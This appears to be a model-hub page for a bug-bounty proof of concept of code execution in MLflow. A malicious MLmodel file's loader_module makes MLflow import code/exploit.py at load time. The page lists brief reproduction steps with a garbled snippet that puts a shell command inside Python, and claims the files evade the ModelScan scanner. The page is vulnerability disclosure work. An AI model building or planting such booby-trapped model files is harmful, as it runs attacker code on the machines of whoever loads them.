MLFlow pyfunc RCE PoC
Format: MLFlow
Attack: loader_module + code_path β importlib.import_module() β RCE at model load time
How to reproduce:
pip install mlflow
python3 -c "
import mlflow.pyfunc
mlflow.pyfunc.load_model('.')
whoami > /tmp/pwned.txt
"
PoC files:
MLmodelβ specifiesloader_module: exploitandcode: code/code/exploit.pyβ top-level code runs atimporttime
Bypasses: ModelScan (protectai/modelscan) β no scanner for MLmodel metadata
Submitted to: huntr.com MFV bounty
Inference Providers NEW
This model isn't deployed by any Inference Provider. π Ask for provider support